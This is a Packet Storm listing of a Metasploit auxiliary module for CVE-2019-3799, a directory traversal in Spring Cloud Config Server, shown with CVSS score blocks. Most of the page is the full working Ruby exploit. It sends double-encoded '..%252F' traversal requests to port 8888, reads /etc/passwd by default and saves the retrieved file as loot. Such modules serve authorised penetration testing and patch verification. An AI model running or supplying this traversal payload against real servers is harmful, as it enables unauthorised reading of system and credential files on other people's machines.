Lucene search

K
packetstormDhiraj Mishra, Vern, metasploit.comPACKETSTORM:181104
HistorySep 01, 2024 - 12:00 a.m.

Spring Cloud Config Server Directory Traversal

2024-09-0100:00:00
Dhiraj Mishra, Vern, metasploit.com
packetstormsecurity.com
16
spring cloud config
directory traversal
unauthenticated
vulnerability
version 2.1
version 2.0
version 1.4

CVSS2

4.3

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:M/Au:N/C:P/I:N/A:N

CVSS3

6.5

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

AI Score

7.4

Confidence

Low

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Auxiliary::Report  
include Msf::Auxiliary::Scanner  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Spring Cloud Config Server Directory Traversal',  
'Description' => %q{  
This module exploits an unauthenticated directory traversal vulnerability  
which exists in Spring Cloud Config versions 2.1.x prior to 2.1.2,  
versions 2.0.x prior to 2.0.4, and versions 1.4.x prior to 1.4.6. Spring  
Cloud Config listens by default on port 8888.  
},  
'References' =>  
[  
['CVE', '2019-3799'],  
['URL', 'https://pivotal.io/security/cve-2019-3799']  
],  
'Author' =>  
[  
'Vern', # Vulnerability discovery  
'Dhiraj Mishra' # Metasploit module  
],  
'DisclosureDate' => '2019-04-17',  
'License' => MSF_LICENSE  
))  
  
register_options(  
[  
Opt::RPORT(8888),  
OptString.new('FILEPATH', [true, "The path to the file to read", '/etc/passwd']),  
OptInt.new('DEPTH', [ true, 'Depth for Path Traversal', 13 ])  
])  
end  
  
def data  
Rex::Text.rand_text_alpha(3..8)  
end  
  
def run_host(ip)  
filename = datastore['FILEPATH']  
traversal = "#{"..%252F" * datastore['DEPTH']}#{filename}"  
uri = "/#{data}/#{data}/master/#{traversal}"  
  
res = send_request_raw({  
'method' => 'GET',  
'uri' => uri  
})  
  
unless res && res.code == 200  
print_error('Nothing was downloaded')  
return  
end  
  
vprint_good("#{peer} - #{res.body}")  
path = store_loot(  
'springcloud.traversal',  
'text/plain',  
ip,  
res.body,  
filename  
)  
print_good("File saved in: #{path}")  
end  
end  
`

CVSS2

4.3

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:M/Au:N/C:P/I:N/A:N

CVSS3

6.5

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

AI Score

7.4

Confidence

Low